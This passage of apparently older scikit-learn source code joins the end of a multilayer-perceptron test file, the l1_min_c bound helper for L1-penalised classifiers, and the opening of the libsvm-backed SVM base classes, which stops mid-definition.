    #         = 0.574442516811659
    # o1 = g(h * W2 + b21) = g(0.679 * 0.1 + 0.574 * 0.2 + 1)
    #       = 0.7654329236196236
    # d21 = -(0 - 0.765) = 0.765
    # d11 = (1 - 0.679) * 0.679 * 0.765 * 0.1 = 0.01667
    # d12 = (1 - 0.574) * 0.574 * 0.765 * 0.2 = 0.0374
    # W1grad11 = X1 * d11 + alpha * W11 = 0.6 * 0.01667 + 0.1 * 0.1 = 0.0200
    # W1grad11 = X1 * d12 + alpha * W12 = 0.6 * 0.0374 + 0.1 * 0.2 = 0.04244
    # W1grad21 = X2 * d11 + alpha * W13 = 0.8 * 0.01667 + 0.1 * 0.3 = 0.043336
    # W1grad22 = X2 * d12 + alpha * W14 = 0.8 * 0.0374 + 0.1 * 0.1 = 0.03992
    # W1grad31 = X3 * d11 + alpha * W15 = 0.6 * 0.01667 + 0.1 * 0.5 = 0.060002
    # W1grad32 = X3 * d12 + alpha * W16 = 0.6 * 0.0374 + 0.1 * 0 = 0.02244
    # W2grad1 = h1 * d21 + alpha * W21 = 0.679 * 0.765 + 0.1 * 0.1 = 0.5294
    # W2grad2 = h2 * d21 + alpha * W22 = 0.574 * 0.765 + 0.1 * 0.2 = 0.45911
    # b1grad1 = d11 = 0.01667
    # b1grad2 = d12 = 0.0374
    # b2grad = d21 = 0.765
    # W1 = W1 - eta * [W1grad11, .., W1grad32] = [[0.1, 0.2], [0.3, 0.1],
    #          [0.5, 0]] - 0.1 * [[0.0200, 0.04244], [0.043336, 0.03992],
    #          [0.060002, 0.02244]] = [[0.098, 0.195756], [0.2956664,
    #          0.096008], [0.4939998, -0.002244]]
    # W2 = W2 - eta * [W2grad1, W2grad2] = [[0.1], [0.2]] - 0.1 *
    #        [[0.5294], [0.45911]] = [[0.04706], [0.154089]]
    # b1 = b1 - eta * [b1grad1, b1grad2] = 0.1 - 0.1 * [0.01667, 0.0374]
    #         = [0.098333, 0.09626]
    # b2 = b2 - eta * b2grad = 1.0 - 0.1 * 0.765 = 0.9235
    assert_almost_equal(mlp.coefs_[0], np.array([[0.098, 0.195756],
                                                 [0.2956664, 0.096008],
                                                 [0.4939998, -0.002244]]),
                        decimal=3)
    assert_almost_equal(mlp.coefs_[1], np.array([[0.04706], [0.154089]]),
                        decimal=3)
    assert_almost_equal(mlp.intercepts_[0],
                        np.array([0.098333, 0.09626]), decimal=3)
    assert_almost_equal(mlp.intercepts_[1], np.array(0.9235), decimal=3)
    # Testing output
    #  h1 = g(X1 * W_i1 + b11) = g(0.6 * 0.098 + 0.8 * 0.2956664 +
    #               0.7 * 0.4939998 + 0.098333) = 0.677
    #  h2 = g(X2 * W_i2 + b12) = g(0.6 * 0.195756 + 0.8 * 0.096008 +
    #            0.7 * -0.002244 + 0.09626) = 0.572
    #  o1 = h * W2 + b21 = 0.677 * 0.04706 +
    #             0.572 * 0.154089 + 0.9235 = 1.043
    assert_almost_equal(mlp.decision_function(X), 1.043, decimal=3)


def test_gradient():
    # Test gradient.

    # This makes sure that the activation functions and their derivatives
    # are correct. The numerical and analytical computation of the gradient
    # should be close.
    for n_labels in [2, 3]:
        n_samples = 5
        n_features = 10
        X = np.random.random((n_samples, n_features))
        y = 1 + np.mod(np.arange(n_samples) + 1, n_labels)
        Y = LabelBinarizer().fit_transform(y)

        for activation in ACTIVATION_TYPES:
            mlp = MLPClassifier(activation=activation, hidden_layer_sizes=10,
                                algorithm='l-bfgs', alpha=1e-5,
                                learning_rate_init=0.2, max_iter=1,
                                random_state=1)
            mlp.fit(X, y)

            theta = np.hstack([l.ravel() for l in mlp.coefs_ +
                               mlp.intercepts_])

            layer_units = ([X.shape[1]] + [mlp.hidden_layer_sizes] +
                           [mlp.n_outputs_])

            activations = []
            deltas = []
            coef_grads = []
            intercept_grads = []

            activations.append(X)
            for i in range(mlp.n_layers_ - 1):
                activations.append(np.empty((X.shape[0],
                                             layer_units[i + 1])))
                deltas.append(np.empty((X.shape[0],
                                        layer_units[i + 1])))

                fan_in = layer_units[i]
                fan_out = layer_units[i + 1]
                coef_grads.append(np.empty((fan_in, fan_out)))
                intercept_grads.append(np.empty(fan_out))

            # analytically compute the gradients
            def loss_grad_fun(t):
                return mlp._loss_grad_lbfgs(t, X, Y, activations, deltas,
                                            coef_grads, intercept_grads)

            [value, grad] = loss_grad_fun(theta)
            numgrad = np.zeros(np.size(theta))
            n = np.size(theta, 0)
            E = np.eye(n)
            epsilon = 1e-5
            # numerically compute the gradients
            for i in range(n):
                dtheta = E[:, i] * epsilon
                numgrad[i] = ((loss_grad_fun(theta + dtheta)[0] -
                              loss_grad_fun(theta - dtheta)[0]) /
                              (epsilon * 2.0))
            assert_almost_equal(numgrad, grad)


def test_lbfgs_classification():
    # Test lbfgs on classification.
    # It should achieve a score higher than 0.95 for the binary and multi-class
    # versions of the digits dataset.
    for X, y in classification_datasets:
        X_train = X[:150]
        y_train = y[:150]
        X_test = X[150:]

        expected_shape_dtype = (X_test.shape[0], y_train.dtype.kind)

        for activation in ACTIVATION_TYPES:
            mlp = MLPClassifier(algorithm='l-bfgs', hidden_layer_sizes=50,
                                max_iter=150, shuffle=True, random_state=1,
                                activation=activation)
            mlp.fit(X_train, y_train)
            y_predict = mlp.predict(X_test)
            assert_greater(mlp.score(X_train, y_train), 0.95)
            assert_equal((y_predict.shape[0], y_predict.dtype.kind),
                         expected_shape_dtype)


def test_lbfgs_regression():
    # Test lbfgs on the boston dataset, a regression problems."""
    X = Xboston
    y = yboston
    for activation in ACTIVATION_TYPES:
        mlp = MLPRegressor(algorithm='l-bfgs', hidden_layer_sizes=50,
                           max_iter=150, shuffle=True, random_state=1,
                           activation=activation)
        mlp.fit(X, y)
        assert_greater(mlp.score(X, y), 0.95)


def test_learning_rate_warmstart():
    # Tests that warm_start reuses past solution."""
    X = [[3, 2], [1, 6], [5, 6], [-2, -4]]
    y = [1, 1, 1, 0]
    for learning_rate in ["invscaling", "constant"]:
        mlp = MLPClassifier(algorithm='sgd', hidden_layer_sizes=4,
                            learning_rate=learning_rate, max_iter=1,
                            power_t=0.25, warm_start=True)
        mlp.fit(X, y)
        prev_eta = mlp._optimizer.learning_rate
        mlp.fit(X, y)
        post_eta = mlp._optimizer.learning_rate

        if learning_rate == 'constant':
            assert_equal(prev_eta, post_eta)
        elif learning_rate == 'invscaling':
            assert_equal(mlp.learning_rate_init / pow(8 + 1, mlp.power_t),
                         post_eta)


def test_multilabel_classification():
    # Test that multi-label classification works as expected."""
    # test fit method
    X, y = make_multilabel_classification(n_samples=50, random_state=0,
                                          return_indicator=True)
    mlp = MLPClassifier(algorithm='l-bfgs', hidden_layer_sizes=50, alpha=1e-5,
                        max_iter=150, random_state=0, activation='logistic',
                        learning_rate_init=0.2)
    mlp.fit(X, y)
    assert_equal(mlp.score(X, y), 1)

    # test partial fit method
    mlp = MLPClassifier(algorithm='sgd', hidden_layer_sizes=50, max_iter=150,
                        random_state=0, activation='logistic', alpha=1e-5,
                        learning_rate_init=0.2)
    for i in range(100):
        mlp.partial_fit(X, y, classes=[0, 1, 2, 3, 4])
    assert_greater(mlp.score(X, y), 0.9)


def test_multioutput_regression():
    # Test that multi-output regression works as expected"""
    X, y = make_regression(n_samples=200, n_targets=5)
    mlp = MLPRegressor(algorithm='l-bfgs', hidden_layer_sizes=50, max_iter=200,
                       random_state=1)
    mlp.fit(X, y)
    assert_greater(mlp.score(X, y), 0.9)


def test_partial_fit_classes_error():
    # Tests that passing different classes to partial_fit raises an error"""
    X = [[3, 2]]
    y = [0]
    clf = MLPClassifier(algorithm='sgd')
    clf.partial_fit(X, y, classes=[0, 1])
    assert_raises(ValueError, clf.partial_fit, X, y, classes=[1, 2])


def test_partial_fit_classification():
    # Test partial_fit on classification.
    # `partial_fit` should yield the same results as 'fit'for binary and
    # multi-class classification.
    for X, y in classification_datasets:
        X = X
        y = y
        mlp = MLPClassifier(algorithm='sgd', max_iter=100, random_state=1,
                            tol=0, alpha=1e-5, learning_rate_init=0.2)

        mlp.fit(X, y)
        pred1 = mlp.predict(X)
        mlp = MLPClassifier(algorithm='sgd', random_state=1, alpha=1e-5,
                            learning_rate_init=0.2)
        for i in range(100):
            mlp.partial_fit(X, y, classes=np.unique(y))
        pred2 = mlp.predict(X)
        assert_array_equal(pred1, pred2)
        assert_greater(mlp.score(X, y), 0.95)


def test_partial_fit_regression():
    # Test partial_fit on regression.
    # `partial_fit` should yield the same results as 'fit' for regression.
    X = Xboston
    y = yboston

    for momentum in [0, .9]:
        mlp = MLPRegressor(algorithm='sgd', max_iter=100, activation='relu',
                           random_state=1, learning_rate_init=0.01,
                           batch_size=X.shape[0], momentum=momentum)
        with warnings.catch_warnings(record=True):
            # catch convergence warning
            mlp.fit(X, y)
        pred1 = mlp.predict(X)
        mlp = MLPRegressor(algorithm='sgd', activation='relu',
                           learning_rate_init=0.01, random_state=1,
                           batch_size=X.shape[0], momentum=momentum)
        for i in range(100):
            mlp.partial_fit(X, y)

        pred2 = mlp.predict(X)
        assert_almost_equal(pred1, pred2, decimal=2)
        score = mlp.score(X, y)
        assert_greater(score, 0.75)


def test_partial_fit_errors():
    # Test partial_fit error handling."""
    X = [[3, 2], [1, 6]]
    y = [1, 0]

    # no classes passed
    assert_raises(ValueError,
                  MLPClassifier(
                      algorithm='sgd').partial_fit,
                  X, y,
                  classes=[2])

    # l-bfgs doesn't support partial_fit
    assert_false(hasattr(MLPClassifier(algorithm='l-bfgs'), 'partial_fit'))


def test_params_errors():
    # Test that invalid parameters raise value error"""
    X = [[3, 2], [1, 6]]
    y = [1, 0]
    clf = MLPClassifier

    assert_raises(ValueError, clf(hidden_layer_sizes=-1).fit, X, y)
    assert_raises(ValueError, clf(max_iter=-1).fit, X, y)
    assert_raises(ValueError, clf(shuffle='true').fit, X, y)
    assert_raises(ValueError, clf(alpha=-1).fit, X, y)
    assert_raises(ValueError, clf(learning_rate_init=-1).fit, X, y)

    assert_raises(ValueError, clf(algorithm='hadoken').fit, X, y)
    assert_raises(ValueError, clf(learning_rate='converge').fit, X, y)
    assert_raises(ValueError, clf(activation='cloak').fit, X, y)


def test_predict_proba_binary():
    # Test that predict_proba works as expected for binary class."""
    X = X_digits_binary[:50]
    y = y_digits_binary[:50]

    clf = MLPClassifier(hidden_layer_sizes=5)
    clf.fit(X, y)
    y_proba = clf.predict_proba(X)
    y_log_proba = clf.predict_log_proba(X)

    (n_samples, n_classes) = y.shape[0], 2

    proba_max = y_proba.argmax(axis=1)
    proba_log_max = y_log_proba.argmax(axis=1)

    assert_equal(y_proba.shape, (n_samples, n_classes))
    assert_array_equal(proba_max, proba_log_max)
    assert_array_equal(y_log_proba, np.log(y_proba))

    assert_equal(roc_auc_score(y, y_proba[:, 1]), 1.0)


def test_predict_proba_multi():
    # Test that predict_proba works as expected for multi class."""
    X = X_digits_multi[:10]
    y = y_digits_multi[:10]

    clf = MLPClassifier(hidden_layer_sizes=5)
    clf.fit(X, y)
    y_proba = clf.predict_proba(X)
    y_log_proba = clf.predict_log_proba(X)

    (n_samples, n_classes) = y.shape[0], np.unique(y).size

    proba_max = y_proba.argmax(axis=1)
    proba_log_max = y_log_proba.argmax(axis=1)

    assert_equal(y_proba.shape, (n_samples, n_classes))
    assert_array_equal(proba_max, proba_log_max)
    assert_array_equal(y_log_proba, np.log(y_proba))


def test_sparse_matrices():
    # Test that sparse and dense input matrices output the same results."""
    X = X_digits_binary[:50]
    y = y_digits_binary[:50]
    X_sparse = csr_matrix(X)
    mlp = MLPClassifier(random_state=1, hidden_layer_sizes=15)
    mlp.fit(X, y)
    pred1 = mlp.decision_function(X)
    mlp.fit(X_sparse, y)
    pred2 = mlp.decision_function(X_sparse)
    assert_almost_equal(pred1, pred2)
    pred1 = mlp.predict(X)
    pred2 = mlp.predict(X_sparse)
    assert_array_equal(pred1, pred2)


def test_tolerance():
    # Test tolerance.
    # It should force the algorithm to exit the loop when it converges.
    X = [[3, 2], [1, 6]]
    y = [1, 0]
    clf = MLPClassifier(tol=0.5, max_iter=3000, algorithm='sgd', verbose=10)
    clf.fit(X, y)
    assert_greater(clf.max_iter, clf.n_iter_)


def test_verbose_sgd():
    # Test verbose.
    X = [[3, 2], [1, 6]]
    y = [1, 0]
    clf = MLPClassifier(algorithm='sgd', max_iter=2, verbose=10,
                        hidden_layer_sizes=2)
    old_stdout = sys.stdout
    sys.stdout = output = StringIO()

    clf.fit(X, y)
    clf.partial_fit(X, y)

    sys.stdout = old_stdout
    assert 'Iteration' in output.getvalue()


def test_early_stopping():
    X = X_digits_binary[:100]
    y = y_digits_binary[:100]
    tol = 0.2
    clf = MLPClassifier(tol=tol, max_iter=3000, algorithm='sgd',
                        early_stopping=True)
    clf.fit(X, y)
    assert_greater(clf.max_iter, clf.n_iter_)

    valid_scores = clf.validation_scores_
    best_valid_score = clf.best_validation_score_
    assert_equal(max(valid_scores), best_valid_score)
    assert_greater(best_valid_score + tol, valid_scores[-2])
    assert_greater(best_valid_score + tol, valid_scores[-1])


def test_adaptive_learning_rate():
    X = [[3, 2], [1, 6]]
    y = [1, 0]
    clf = MLPClassifier(tol=0.5, max_iter=3000, algorithm='sgd',
                        learning_rate='adaptive', verbose=10)
    clf.fit(X, y)
    assert_greater(clf.max_iter, clf.n_iter_)
    assert_greater(1e-6, clf._optimizer.learning_rate)






"""Determination of parameter bounds"""
# Author: Paolo Losi
# License: BSD 3 clause

from warnings import warn

import numpy as np

from ..preprocessing import LabelBinarizer
from ..utils.validation import check_consistent_length, check_array
from ..utils.extmath import safe_sparse_dot


def l1_min_c(X, y, loss='squared_hinge', fit_intercept=True,
             intercept_scaling=1.0):
    """
    Return the lowest bound for C such that for C in (l1_min_C, infinity)
    the model is guaranteed not to be empty. This applies to l1 penalized
    classifiers, such as LinearSVC with penalty='l1' and
    linear_model.LogisticRegression with penalty='l1'.

    This value is valid if class_weight parameter in fit() is not set.

    Parameters
    ----------
    X : array-like or sparse matrix, shape = [n_samples, n_features]
        Training vector, where n_samples in the number of samples and
        n_features is the number of features.

    y : array, shape = [n_samples]
        Target vector relative to X

    loss : {'squared_hinge', 'log'}, default 'squared_hinge'
        Specifies the loss function.
        With 'squared_hinge' it is the squared hinge loss (a.k.a. L2 loss).
        With 'log' it is the loss of logistic regression models.
        'l2' is accepted as an alias for 'squared_hinge', for backward
        compatibility reasons, but should not be used in new code.

    fit_intercept : bool, default: True
        Specifies if the intercept should be fitted by the model.
        It must match the fit() method parameter.

    intercept_scaling : float, default: 1
        when fit_intercept is True, instance vector x becomes
        [x, intercept_scaling],
        i.e. a "synthetic" feature with constant value equals to
        intercept_scaling is appended to the instance vector.
        It must match the fit() method parameter.

    Returns
    -------
    l1_min_c: float
        minimum value for C
    """
    if loss not in ('squared_hinge', 'log'):
        raise ValueError('loss type not in ("squared_hinge", "log", "l2")')

    X = check_array(X, accept_sparse='csc')
    check_consistent_length(X, y)

    Y = LabelBinarizer(neg_label=-1).fit_transform(y).T
    # maximum absolute value over classes and features
    den = np.max(np.abs(safe_sparse_dot(Y, X)))
    if fit_intercept:
        bias = intercept_scaling * np.ones((np.size(y), 1))
        den = max(den, abs(np.dot(Y, bias)).max())

    if den == 0.0:
        raise ValueError('Ill-posed l1_min_c calculation: l1 will always '
                         'select zero coefficients for this data')
    if loss == 'squared_hinge':
        return 0.5 / den
    else:  # loss == 'log':
        return 2.0 / den






from __future__ import print_function

import numpy as np
import scipy.sparse as sp
import warnings
from abc import ABCMeta, abstractmethod

from . import libsvm, liblinear
from . import libsvm_sparse
from ..base import BaseEstimator, ClassifierMixin
from ..preprocessing import LabelEncoder
from ..multiclass import _ovr_decision_function
from ..utils import check_array, check_consistent_length, check_random_state
from ..utils import column_or_1d, check_X_y
from ..utils import compute_class_weight, deprecated
from ..utils.extmath import safe_sparse_dot
from ..utils.validation import check_is_fitted
from ..utils.multiclass import check_classification_targets
from ..externals import six
from ..exceptions import ChangedBehaviorWarning
from ..exceptions import ConvergenceWarning
from ..exceptions import NotFittedError


LIBSVM_IMPL = ['c_svc', 'nu_svc', 'one_class', 'epsilon_svr', 'nu_svr']


def _one_vs_one_coef(dual_coef, n_support, support_vectors):
    """Generate primal coefficients from dual coefficients
    for the one-vs-one multi class LibSVM in the case
    of a linear kernel."""

    # get 1vs1 weights for all n*(n-1) classifiers.
    # this is somewhat messy.
    # shape of dual_coef_ is nSV * (n_classes -1)
    # see docs for details
    n_class = dual_coef.shape[0] + 1

    # XXX we could do preallocation of coef but
    # would have to take care in the sparse case
    coef = []
    sv_locs = np.cumsum(np.hstack([[0], n_support]))
    for class1 in range(n_class):
        # SVs for class1:
        sv1 = support_vectors[sv_locs[class1]:sv_locs[class1 + 1], :]
        for class2 in range(class1 + 1, n_class):
            # SVs for class1:
            sv2 = support_vectors[sv_locs[class2]:sv_locs[class2 + 1], :]

            # dual coef for class1 SVs:
            alpha1 = dual_coef[class2 - 1, sv_locs[class1]:sv_locs[class1 + 1]]
            # dual coef for class2 SVs:
            alpha2 = dual_coef[class1, sv_locs[class2]:sv_locs[class2 + 1]]
            # build weight for class1 vs class2

            coef.append(safe_sparse_dot(alpha1, sv1)
                        + safe_sparse_dot(alpha2, sv2))
    return coef


class BaseLibSVM(six.with_metaclass(ABCMeta, BaseEstimator)):
    """Base class for estimators that use libsvm as backing library

    This implements support vector machine classification and regression.

    Parameter documentation is in the derived `SVC` class.
    """

    # The order of these must match the integer values in LibSVM.
    # XXX These are actually the same in the dense case. Need to factor
    # this out.
    _sparse_kernels = ["linear", "poly", "rbf", "sigmoid", "precomputed"]

    @abstractmethod
    def __init__(self, impl, kernel, degree, gamma, coef0,
                 tol, C, nu, epsilon, shrinking, probability, cache_size,
                 class_weight, verbose, max_iter, random_state):

        if impl not in LIBSVM_IMPL:  # pragma: no cover
            raise ValueError("impl should be one of %s, %s was given" % (
                LIBSVM_IMPL, impl))

        if gamma == 0:
            msg = ("The gamma value of 0.0 is invalid. Use 'auto' to set"
                   " gamma to a value of 1 / n_features.")
            raise ValueError(msg)

        self._impl = impl
        self.kernel = kernel
        self.degree = degree
        self.gamma = gamma
        self.coef0 = coef0
        self.tol = tol
        self.C = C
        self.nu = nu
        self.epsilon = epsilon
        self.shrinking = shrinking
        self.probability = probability
        self.cache_size = cache_size
        self.class_weight = class_weight
        self.verbose = verbose
        self.max_iter = max_iter
        self.random_state = random_state

    @property
    def _pairwise(self):
        # Used by cross_val_score.
        kernel = self.kernel
        return kernel == "precomputed" or callable(kernel)

    def fit(self, X, y, sample_weight=None):
        """Fit the SVM model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.
            For kernel="precomputed", the expected shape of X is
            (n_samples, n_samples).

        y : array-like, shape (n_samples,)
            Target values (class labels in classification, real numbers in
            regression)

        sample_weight : array-like, shape (n_samples,)
            Per-sample weights. Rescale C per sample. Higher weights
            force the classifier to put more emphasis on these points.

        Returns
        -------
        self : object
            Returns self.

        Notes
        ------
        If X and y are not C-ordered and contiguous arrays of np.float64 and
        X is not a scipy.sparse.csr_matrix, X and/or y may be copied.

        If X is a dense array, then the other methods will not support sparse
        matrices as input.
        """

        rnd = check_random_state(self.random_state)

        sparse = sp.isspmatrix(X)
        if sparse and self.kernel == "precomputed":
            raise TypeError("Sparse precomputed kernels are not supported.")
        self._sparse = sparse and not callable(self.kernel)

        X, y = check_X_y(X, y, dtype=np.float64, order='C', accept_sparse='csr')
        y = self._validate_targets(y)

        sample_weight = np.asarray([]
                                   if sample_weight is None
                                   else sample_weight, dtype=np.float64)
        solver_type = LIBSVM_IMPL.index(self._impl)

        # input validation
        if solver_type != 2 and X.shape[0] != y.shape[0]:
            raise ValueError("X and y have incompatible shapes.\n" +
                             "X has %s samples, but y has %s." %
                             (X.shape[0], y.shape[0]))

        if self.kernel == "precomputed" and X.shape[0] != X.shape[1]:
            raise ValueError("X.shape[0] should be equal to X.shape[1]")

        if sample_weight.shape[0] > 0 and sample_weight.shape[0] != X.shape[0]:
            raise ValueError("sample_weight and X have incompatible shapes: "
                             "%r vs %r\n"
                             "Note: Sparse matrices cannot be indexed w/"
                             "boolean masks (use `indices=True` in CV)."
                             % (sample_weight.shape, X.shape))

        if self.gamma == 'auto':
            self._gamma = 1.0 / X.shape[1]
        else:
            self._gamma = self.gamma

        kernel = self.kernel
        if callable(kernel):
            kernel = 'precomputed'

        fit = self._sparse_fit if self._sparse else self._dense_fit
        if self.verbose:  # pragma: no cover
            print('[LibSVM]', end='')

        seed = rnd.randint(np.iinfo('i').max)
        fit(X, y, sample_weight, solver_type, kernel, random_seed=seed)
        # see comment on the other call to np.iinfo in this file

        self.shape_fit_ = X.shape

        # In binary case, we need to flip the sign of coef, intercept and
        # decision function. Use self._intercept_ and self._dual_coef_ internally.
        self._intercept_ = self.intercept_.copy()
        self._dual_coef_ = self.dual_coef_
        if self._impl in ['c_svc', 'nu_svc'] and len(self.classes_) == 2:
            self.intercept_ *= -1
            self.dual_coef_ = -self.dual_coef_

        return self

    def _validate_targets(self, y):
        """Validation of y and class_weight.

        Default implementation for SVR and one-class; overridden in BaseSVC.
        """
        # XXX this is ugly.
        # Regression models should not have a class_weight_ attribute.
        self.class_weight_ = np.empty(0)
        return column_or_1d(y, warn=True).astype(np.float64)

    def _warn_from_fit_status(self):
        assert self.fit_status_ in (0, 1)
        if self.fit_status_ == 1:
            warnings.warn('Solver terminated early (max_iter=%i).'
                          '  Consider pre-processing your data with'
                          ' StandardScaler or MinMaxScaler.'
                          % self.max_iter, ConvergenceWarning)

    def _dense_fit(self, X, y, sample_weight, solver_type, kernel,
                   random_seed):
        if callable(self.kernel):
            # you must store a reference to X to compute the kernel in predict
            # TODO: add keyword copy to copy on demand
            self.__Xfit = X
            X = self._compute_kernel(X)

            if X.shape[0] != X.shape[1]:
                raise ValueError("X.shape[0] should be equal to X.shape[1]")

        libsvm.set_verbosity_wrap(self.verbose)

        if six.PY2:
            # In python2 ensure kernel is ascii bytes to prevent a TypeError
            if isinstance(kernel, six.types.UnicodeType):
                kernel = str(kernel)
        if six.PY3:
            # In python3 ensure kernel is utf8 unicode to prevent a TypeError
            if isinstance(kernel, bytes):
                kernel = str(kernel, 'utf8')

        # we don't pass **self.get_params() to allow subclasses to
        # add other parameters to __init__
        self.support_, self.support_vectors_, self.n_support_, \
            self.dual_coef_, self.intercept_, self.probA_, \
            self.probB_, self.fit_status_ = libsvm.fit(
                X, y,
                svm_type=solver_type, sample_weight=sample_weight,
                class_weight=self.class_weight_, kernel=kernel, C=self.C,
                nu=self.nu, probability=self.probability, degree=self.degree,
                shrinking=self.shrinking, tol=self.tol,
                cache_size=self.cache_size, coef0=self.coef0,
                gamma=self._gamma, epsilon=self.epsilon,
                max_iter=self.max_iter, random_seed=random_seed)

        self._warn_from_fit_status()

    def _sparse_fit(self, X, y, sample_weight, solver_type, kernel,
                    random_seed):
        X.data = np.asarray(X.data, dtype=np.float64, order='C')
        X.sort_indices()

        kernel_type = self._sparse_kernels.index(kernel)

        libsvm_sparse.set_verbosity_wrap(self.verbose)

        self.support_, self.support_vectors_, dual_coef_data, \
            self.intercept_, self.n_support_, \
            self.probA_, self.probB_, self.fit_status_ = \
            libsvm_sparse.libsvm_sparse_train(
                X.shape[1], X.data, X.indices, X.indptr, y, solver_type,
                kernel_type, self.degree, self._gamma, self.coef0, self.tol,
                self.C, self.class_weight_,
                sample_weight, self.nu, self.cache_size, self.epsilon,
                int(self.shrinking), int(self.probability), self.max_iter,
                random_seed)

        self._warn_from_fit_status()

        if hasattr(self, "classes_"):
            n_class = len(self.classes_) - 1
        else:   # regression
            n_class = 1
        n_SV = self.support_vectors_.shape[0]

        dual_coef_indices = np.tile(np.arange(n_SV), n_class)
        dual_coef_indptr = np.arange(0, dual_coef_indices.size + 1,
                                     dual_coef_indices.size / n_class)
        self.dual_coef_ = sp.csr_matrix(
            (dual_coef_data, dual_coef_indices, dual_coef_indptr),
            (n_class, n_SV))

    def predict(self, X):
        """Perform regression on samples in X.

        For an one-class model, +1 or -1 is returned.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            For kernel="precomputed", the expected shape of X is
            (n_samples_test, n_samples_train).

        Returns
        -------
        y_pred : array, shape (n_samples,)
        """
        X = self._validate_for_predict(X)
        predict = self._sparse_predict if self._sparse else self._dense_predict
        return predict(X)

    def _dense_predict(self, X):
        n_samples, n_features = X.shape
        X = self._compute_kernel(X)
        if X.ndim == 1:
            X = check_array(X, order='C')

        kernel = self.kernel
        if callable(self.kernel):
            kernel = 'precomputed'
            if X.shape[1] != self.shape_fit_[0]:
                raise ValueError("X.shape[1] = %d should be equal to %d, "
                                 "the number of samples at training time" %
                                 (X.shape[1], self.shape_fit_[0]))

        svm_type = LIBSVM_IMPL.index(self._impl)

        return libsvm.predict(
            X, self.support_, self.support_vectors_, self.n_support_,
            self._dual_coef_, self._intercept_,
            self.probA_, self.probB_, svm_type=svm_type, kernel=kernel,
            degree=self.degree, coef0=self.coef0, gamma=self._gamma,
            cache_size=self.cache_size)

    def _sparse_predict(self, X):
        # Precondition: X is a csr_matrix of dtype np.float64.
        kernel = self.kernel
        if callable(kernel):
            kernel = 'precomputed'

        kernel_type = self._sparse_kernels.index(kernel)

        C = 0.0  # C is not useful here

        return libsvm_sparse.libsvm_sparse_predict(
            X.data, X.indices, X.indptr,
            self.support_vectors_.data,
            self.support_vectors_.indices,
            self.support_vectors_.indptr,
            self._dual_coef_.data, self._intercept_,
            LIBSVM_IMPL.index(self._impl), kernel_type,
            self.degree, self._gamma, self.coef0, self.tol,
            C, self.class_weight_,
            self.nu, self.epsilon, self.shrinking,
            self.probability, self.n_support_,
            self.probA_, self.probB_)

    def _compute_kernel(self, X):
        """Return the data transformed by a callable kernel"""
        if callable(self.kernel):
            # in the case of precomputed kernel given as a function, we
            # have to compute explicitly the kernel matrix
            kernel = self.kernel(X, self.__Xfit)
            if sp.issparse(kernel):
                kernel = kernel.toarray()
            X = np.asarray(kernel, dtype=np.float64, order='C')
        return X

    @deprecated(" and will be removed in 0.19")
    def decision_function(self, X):
        """Distance of the samples X to the separating hyperplane.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            For kernel="precomputed", the expected shape of X is
            [n_samples_test, n_samples_train].

        Returns
        -------
        X : array-like, shape (n_samples, n_class * (n_class-1) / 2)
            Returns the decision function of the sample for each class
            in the model.
        """
        return self._decision_function(X)

    def _decision_function(self, X):
        """Distance of the samples X to the separating hyperplane.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        X : array-like, shape (n_samples, n_class * (n_class-1) / 2)
            Returns the decision function of the sample for each class
            in the model.
        """
        # NOTE: _validate_for_predict contains check for is_fitted
        # hence must be placed before any other attributes are used.
        X = self._validate_for_predict(X)
        X = self._compute_kernel(X)

        if self._sparse:
            dec_func = self._sparse_decision_function(X)
        else:
            dec_func = self._dense_decision_function(X)

        # In binary case, we need to flip the sign of coef, intercept and
        # decision function.
        if self._impl in ['c_svc', 'nu_svc'] and len(self.classes_) == 2:
            return -dec_func.ravel()

        return dec_func

    def _dense_decision_function(self, X):
        X = check_array(X, dtype=np.float64, order="C")

        kernel = self.kernel
        if callable(kernel):
            kernel = 'precomputed'

        return libsvm.decision_function(
            X, self.support_, self.support_vectors_, self.n_support_,
            self._dual_coef_, self._intercept_,
            self.probA_, self.probB_,
            svm_type=LIBSVM_IMPL.index(self._impl),
            kernel=kernel, degree=self.degree, cache_size=self.cache_size,
            coef0=self.coef0, gamma=self._gamma)

    def _sparse_decision_function(self, X):
        X.data = np.asarray(X.data, dtype=np.float64, order='C')

        kernel = self.kernel
        if hasattr(kernel, '__call__'):
            kernel = 'precomputed'

        kernel_type = self._sparse_kernels.index(kernel)

        return libsvm_sparse.libsvm_sparse_decision_function(
            X.data, X.indices, X.indptr,
            self.support_vectors_.data,
            self.support_vectors_.indices,
            self.support_vectors_.indptr,
            self._dual_coef_.data, self._intercept_,
            LIBSVM_IMPL.index(self._impl), kernel_type,
            self.degree, self._gamma, self.coef0, self.tol,
            self.C, self.class_weight_,
            self.nu, self.epsilon, self.shrinking,
            self.probability, self.n_support_,
            self.probA_, self.probB_)

    def _validate_for_predict(self, X):
        check_is_fitted(self, 'support_')

        X = check_array(X, accept_sparse='csr', dtype=np.float64, order="C")
        if self._sparse and not sp.isspmatrix(X):
            X = sp.csr_matrix(X)
        if self._sparse:
            X.sort_indices()

        if sp.issparse(X) and not self._sparse and not callable(self.kernel):
            raise ValueError(
                "cannot use sparse input in %r trained on dense data"
                % type(self).__name__)
        n_samples, n_features = X.shape

        if self.kernel == "precomputed":
            if X.shape[1] != self.shape_fit_[0]:
                raise ValueError("X.shape[1] = %d should be equal to %d, "
                                 "the number of samples at training time" %
                                 (X.shape[1], self.shape_fit_[0]))
        elif n_features != self.shape_fit_[1]:
            raise ValueError("X.shape[1] = %d should be equal to %d, "
                             "the number of features at training time" %
                             (n_features, self.shape_fit_[1]))
        return X

    @property
    def coef_(self):
        if self.kernel != 'linear':
            raise ValueError('coef_ is only available when using a '
                             'linear kernel')

        coef = self._get_coef()

        # coef_ being a read-only property, it's better to mark the value as
        # immutable to avoid hiding potential bugs for the unsuspecting user.
        if sp.issparse(coef):
            # sparse matrix do not have global flags
            coef.data.flags.writeable = False
        else:
            # regular dense array
            coef.flags.writeable = False
        return coef

    def _get_coef(self):
        return safe_sparse_dot(self._dual_coef_, self.support_vectors_)


class BaseSVC(six.with_metaclass(ABCMeta, BaseLibSVM, ClassifierMixin)):
    """ABC for LibSVM-based classifiers."""
    @abstractmethod
    def __init__(self, impl, kernel, degree, gamma, coef0, tol, C, nu,
